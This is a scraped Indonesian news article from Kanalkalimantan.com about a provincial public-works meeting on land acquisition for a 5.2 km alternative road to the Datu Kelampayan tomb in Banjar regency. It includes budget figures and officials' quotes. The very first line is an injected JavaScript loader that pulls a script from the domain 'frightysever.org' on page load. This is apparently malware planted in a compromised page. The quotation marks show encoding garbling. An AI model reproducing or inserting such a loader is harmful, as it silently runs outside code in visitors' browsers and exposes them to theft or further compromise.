(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Guna menyamakan presepsi terhadap warga terkait rencana pembebasan lahan pengadaan tanah untuk pembuatan jalan alternatif menuju makam Syekh Muhammad Arsyad Al-Banjari (Datu Kelampayan), Desa Kelampayan, Kecamatan Astambul, Kabupaten Banjar, Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalimantan Selatan melakukan sosialisasi kepada masyarakat Martapura Timur, Jumat (29/6).
Dalam acara sosialiasai yang digelari di aula Kecamatan Martapura Timur tersebut setidaknya melibatkan puluhan warga dari 6 desa seperti Desa Akar baru, Desa Dalam Pagar, Desa Sungai Kitanu, Desa Akar Begantung di Kecamatan Martapura Timur, Sedangkan di Kecamatan Astambul, Desa Kelampaian Tengah dan Desa Kelampaian dan sudah memasuki tahapan pendataan lahan usai mendapatkan persetujuan dari Gubernur Kalsel, H Sahbirin Noor.
Menurut Kasi Pertanahan Bidang Penataan Ruang dan Pertanahan PUPR Kalsel, Tadjin Noor, mengatakan kegiatan sosialisasi ini juga sebagai persiapan pemberitahuan kegiatan penyediaan tanah kepada pemilik tanahnya yang sudah terdata
“Jadi ini hanya sebagai pemberitahuan. Selain itu bertujuan untuk pendataan awal yang terkena data akses ke jalan, rencananya panjang jalan 5,2 Km dari Desa Sungai Kitano sampai belakang Kubah Datu Kelampayan. Adapun lebar jalannya 20 meter dengan total 10,16 hektare,†katanya.
Dan untuk selanjutnya, pengadaan tanah diwacanakan pada bulan Oktober sudah selesai semua, kemudian tahun 2019 sudah mulai pengerjaannya dari Binamarga. “Untuk total anggaran sebanyak 5 miliar mulai dari perencanaan, persiapan, pelaksanaan dan penyerahan hasil. Sementara untuk pelepasan hak milik tanah sekitar Rp 4,3 miliar,†jelasnya.
Untuk pembangunan jalan sendiri akan mengenai lahan persawahan, semak belukar, halaman permukiman dan beberapa makam penduduk. “Dari totoal 127 titik, hanya sedikit ada terkena halaman permukiman dan pemakaman warga,†katanya.
Terkait berapa harga satuan meter tanah yang akan diganti kepada warga yang terdata masuk rencana pembangunan jalan, Tadjin mengatakan hal itu saat ini belum bisa dinilai secara rinci.
“Sebab tanah itu berbeda-beda dengan tanah yang ada bangunannya, itu nanti ada konsultan yang menilai berapa harga tanah yang sesuai dengan sekarang, kita hanya memberikan gambaran saja bahwa totalnya sekitar Rp 4,3 miliar,†paparnya.
Berdasarkan pantauan Kanalkalimantan.com, persiapan pengadaan tanah tersebut nantinya akan dibagi dalam 6 tahapan seperti diantaranya pembentukan tim persiapan, pembentukan rencana pembangunan, pendataan awal, Konsultasi public, penataan lokasi pembangunan, dan pengumuman.
Sementara itu Camat Martapura Timur, Syaifullah Effendi, sangat mendukung rencana pembangunan jalan alternatif menuju Makam Datu Kelampayan ini. Menurutnya, jika berhasil terealisasi maka akan mengurangi kepadatan jalan, meningatkan wisata relegius, ekonomi, dan berbagai kemajuan lainnya.
“Tentunya kita sangat mendukung program ini, dan ini juga nantinya berdampak terhadap perkembangan ekonomi masyarakat kita di Martapura Timur,â€Âujarnya
Jelasnya Syaifullah Effendy, Rencananya jalan tersebut akan di bangun sepanjang 5,2 kilometer, dengan melibatkan sebanyak sebanyak 6 desa di dua Kecamatan seperti Kecamatan Martapura Timur dan Kecamatan Astambul.
 “Untuk diwilayah kita di Martapura Timur ada sebanyak 4 desa yang masuk untuk pembebasan lahan nantinya, seperti Desa Akar baru, Desa Dalam Pagar, Desa Sungai Kitanu, Desa Akar Begantung,†jelasnya.
Ketika ditanya kanalkalimantan berapa nominal harga yang dibayarkan kepada pemilik tanah yang akan dibebaskan untuk pembuatan jalan tersebut, Syaifullah masih tidak tahu pasti berapa nominalnya.
“Mengingat nominal harga, itu semua pasti sudah ada hitung-hitungannya, dan yang diutamakan semoga warga yang dibebaskan lahannya tersebut barokah karena jalan tersebut untuk melanjarkan orang-orang untuk pergi beribadah,†ujarnya
Berdasarkan hal tersebut Syaifullah Effendy menghimbau kepada warganya untuk sesegeranya bagi masyarakat yang lahannya termasuk dalam program pembuatan jalan alternatif agar melapor untuk didata dan membawa surat-surat bukti kepemilikan tanah tersebut, sehingga nantinya dapat memudahkan proses kedepannya.
“saya menghimbau kepada Masyarakat yang tahannya kena dalam pembuatan jalan alternative tersebut untuk melapor dan menyerahkan bukti kepemilikan tanahnya, untuk didata, walaupun sebenarnya sudah ada datanya di PUPR Provinsi, namun siapa tahu ada yang keliru,†pungkasnya.(rendy)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.